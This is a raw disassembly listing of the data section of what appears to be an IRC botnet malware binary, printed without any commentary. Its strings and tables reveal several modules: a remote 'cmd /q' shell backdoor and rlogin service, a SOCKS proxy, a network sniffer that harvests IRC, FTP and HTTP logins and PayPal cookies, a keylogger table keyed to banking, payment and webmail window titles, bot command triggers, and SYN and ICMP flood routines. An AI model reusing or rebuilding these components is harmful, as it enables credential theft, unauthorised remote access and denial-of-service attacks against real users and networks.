asc_435190 db '-' ; DATA XREF: sub_410DAB+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
; char asc_4351CC[]
asc_4351CC db '-' ; DATA XREF: sub_410DAB+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char asc_435214[]
asc_435214 db '-' ; DATA XREF: sub_410F3C+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
; char asc_435254[]
asc_435254 db '-' ; DATA XREF: sub_410F3C+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
; char asc_435298[]
asc_435298 db '-' ; DATA XREF: sub_4111C0+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
; char asc_4352C4[]
asc_4352C4 db '-' ; DATA XREF: sub_4111C0+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
; char asc_4352F0[]
asc_4352F0 db '-' ; DATA XREF: sub_4111C0+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
align 4
; char asc_43532C[]
asc_43532C db '-' ; DATA XREF: sub_4111C0+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
; char asc_435358[]
asc_435358 db '-' ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
; char asc_435384[]
asc_435384 db '-' ; DATA XREF: sub_41141F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
; char asc_4353BC[]
asc_4353BC db '-' ; DATA XREF: sub_41144E+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
; char asc_4353F4[]
asc_4353F4 db '-' ; DATA XREF: sub_41144E+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
; char asc_435430[]
asc_435430 db '-' ; DATA XREF: sub_41144E+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_435474 db 2Dh ; - ; DATA XREF: sub_41144E+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 10h
; char asc_4354B0[]
asc_4354B0 db '-' ; DATA XREF: sub_41144E+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
; char asc_4354F4[]
asc_4354F4 db '-' ; DATA XREF: sub_41144E+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
; char asc_435520[]
asc_435520 db '-' ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
; char asc_435554[]
asc_435554 db '-' ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
; char asc_4355C4[]
asc_4355C4 db '-' ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_435644[]
asc_435644 db '-' ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
; char asc_435684[]
asc_435684 db '-' ; DATA XREF: sub_4119F9+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_4356C0[]
asc_4356C0 db '-' ; DATA XREF: sub_411BCE+1B2o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
; char asc_4356F4[]
asc_4356F4 db '-' ; DATA XREF: sub_411BCE+18Fo
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 10h
; char asc_435730[]
asc_435730 db '-' ; DATA XREF: sub_411BCE+114o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char dword_435774[]
dword_435774 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
; char dword_4357B8[]
dword_4357B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
; char dword_4357F8[]
dword_4357F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_435838 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o
; char aEGold[]
aEGold db 'e-gold',0 ; DATA XREF: sub_4125FC+13o
align 10h
dd 1Eh dup(0)
aSignIn db 'Sign In',0
dd 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
aPosteItaliane db 'Poste Italiane',0
align 4
dd 1Ch dup(0)
aFotolog_net db 'Fotolog.net',0
dd 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
aYahoo db 'Yahoo!',0
align 10h
dd 1Eh dup(0)
aDomainSearch db 'Domain Search',0
align 4
dd 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
aDomainName db 'Domain Name',0
dd 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8 ; DATA XREF: sub_4125FC+65o
dword_43644C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_436B7C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
; char aSS_5[]
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_4125FC+31o
; sub_41AF8F+EBo
; char a__S_l_ReturnS[]
a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
align 4
; char a__S_l_Return[]
a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
align 4
a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
align 4
; char a__S_l_ChangedW[]
a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
align 4
; char a__S_l_[]
a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o
; sub_4126A7+145o ...
align 4
off_436C48 dd offset dword_4374C0 ; DATA XREF: sub_412B61+2B9r
dd offset off_4374BC
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
; char a_login[]
a_login db ':.login',0 ; DATA XREF: sub_412B61+1DEo
dd 3 dup(0)
dword_436C6C dd 0 ; DATA XREF: sub_412B61+2B2r
aLogin_2 db ':,login',0
dd 4 dup(0)
aLogin_3 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_4 db ':$login',0
dd 4 dup(0)
aLogin_5 db ':%login',0
dd 4 dup(0)
aLogin_6 db ':^login',0
dd 4 dup(0)
aLogin_7 db ':&login',0
dd 4 dup(0)
aLogin_8 db ':*login',0
dd 4 dup(0)
aLogin_9 db ':-login',0
dd 4 dup(0)
aLogin_10 db ':+login',0
dd 4 dup(0)
aLogin_11 db ':/login',0
dd 4 dup(0)
aLogin_12 db ':\login',0
dd 4 dup(0)
aLogin_13 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_14 db ':',27h,'login',0
dd 4 dup(0)
aLogin_15 db ':`login',0
dd 4 dup(0)
aLogin_16 db ':~login',0
dd 4 dup(0)
aLogin_17 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 4
dd 4 dup(0)
aAuth db ':,auth',0
align 10h
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 4
dd 4 dup(0)
a@auth db ':@auth',0
align 10h
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 4
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 10h
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 4
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 10h
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 4
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 10h
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 4
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 10h
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 4
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 10h
dd 4 dup(0)
a?auth db ':?auth',0
align 4
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 10h
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 4
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 10h
dd 4 dup(0)
aAuth_14 db ': auth',0
align 4
dd 4 dup(0)
a_id db ':.id',0
align 10h
dd 4 dup(0)
aId_0 db ':,id',0
align 4
dd 4 dup(0)
aId_1 db ':!id',0
align 10h
dd 4 dup(0)
a@id db ':@id',0
align 4
dd 4 dup(0)
aId_2 db ':$id',0
align 10h
dd 4 dup(0)
aId_3 db ':%id',0
align 4
dd 4 dup(0)
aId_4 db ':^id',0
align 10h
dd 4 dup(0)
aId_5 db ':&id',0
align 4
dd 4 dup(0)
aId_6 db ':*id',0
align 10h
dd 4 dup(0)
aId_7 db ':-id',0
align 4
dd 4 dup(0)
aId_8 db ':+id',0
align 10h
dd 4 dup(0)
aId_9 db ':/id',0
align 4
dd 4 dup(0)
aId_10 db ':\id',0
align 10h
dd 4 dup(0)
aId_11 db ':=id',0
align 4
dd 4 dup(0)
a?id db ':?id',0
align 10h
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 4
dd 4 dup(0)
aId_13 db ':`id',0
align 10h
dd 4 dup(0)
aId_14 db ':~id',0
align 4
dd 4 dup(0)
aId_15 db ': id',0
align 10h
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 4
dd 3 dup(0)
aHashin_0 db ':!hashin',0
align 10h
aHashin_1 db ':$hashin',0
align 4
dd 3 dup(0)
aHashin_2 db ':%hashin',0
align 10h
a_secure db ':.secure',0
align 4
dd 3 dup(0)
aSecure_1 db ':!secure',0
align 10h
a_l db ':.l',0
dd 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 4
dd 4 dup(0)
aSyn_0 db ':!syn',0
align 10h
dd 4 dup(0)
aSyn_1 db ':$syn',0
align 4
dd 4 dup(0)
aSyn_2 db ':%syn',0
align 10h
dd 4 dup(0)
aCdkey db ' CDKey ',0
dd 4 dup(0)
aJoin_1 db 'JOIN #',0
align 10h
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:00436C54o
align 4
aFtp db 'FTP',0 ; DATA XREF: .data:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: .data:00436C4Co
dword_4374C0 dd 544F42h ; DATA XREF: .data:off_436C48o
; char asc_4374C4[]
asc_4374C4 db '-' ; DATA XREF: sub_412B61+317o
db 3, 34h, 2
dd 696E7370h, 3026666h
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
; char asc_4374F0[]
asc_4374F0 db '-' ; DATA XREF: sub_412B61+2C6o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
; char asc_437524[]
asc_437524 db '-' ; DATA XREF: sub_412B61+24Co
db 3, 34h, 2
dd 696E7370h, 3026666h, 2Dh
; char aPsniff_0[]
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412B61+235o
align 10h
; char asc_437540[]
asc_437540 db '-' ; DATA XREF: sub_412B61+186o
db 3, 34h, 2
dd 696E7370h, 3026666h
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_437570[]
asc_437570 db '-' ; DATA XREF: sub_412B61+103o
db 3, 34h, 2
dd 696E7370h, 3026666h
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
; char asc_43759C[]
asc_43759C db '-' ; DATA XREF: sub_412B61+85o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
; char aHashin[]
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
; char a_hashin[]
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
; char aIdent_0[]
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
; char a_ident[]
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
; char a_login_1[]
a_login_1 db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
; char aLogin_0[]
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
; char aLogin[]
aLogin db ':!login',0 ; DATA XREF: sub_412EEC+95o
; char a_login_0[]
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
; char a366[]
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
; char a302[]
a302 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
; char aJoin_0[]
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
; char aPsniff_2[]
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
; char aPsniff_1[]
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
; char aBotSniff[]
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
; char aYouAreNowAnIrc[]
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
; char aOper_0[]
aOper_0 db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
; char aNick_1[]
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
; char aOper[]
aOper db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
; char aIrcSniff[]
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
; char aPass_0[]
aPass_0 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
; char aUser_2[]
aUser_2 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
; char a230[]
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
; char a220[]
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
; char aFtpSniff[]
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
; char aSetCookie[]
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
; char aPaypal_com_0[]
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
; char aPaypal_com[]
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
; char aPaypal_0[]
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
; char aPaypal[]
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
; char aHttpSniff[]
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
; char aOpenssh_2[]
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
; char aServUFtpServer[]
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
; char aOpenssl0_9_6[]
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
; char aVulnSniff[]
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
; char asc_43776C[]
asc_43776C db '-' ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
; char asc_437840[]
asc_437840 db '-' ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_437870[]
asc_437870 db '-' ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
; char asc_43789C[]
asc_43789C db '-' ; DATA XREF: sub_4135DF+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
; char asc_4378C4[]
asc_4378C4 db '-' ; DATA XREF: sub_413694+302o
db 3, 34h, 2
dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh
dd 6425h
; char asc_4378E0[]
asc_4378E0 db '-' ; DATA XREF: sub_413A29+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
; char asc_43792C[]
asc_43792C db '-' ; DATA XREF: sub_413A29+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
; char asc_437974[]
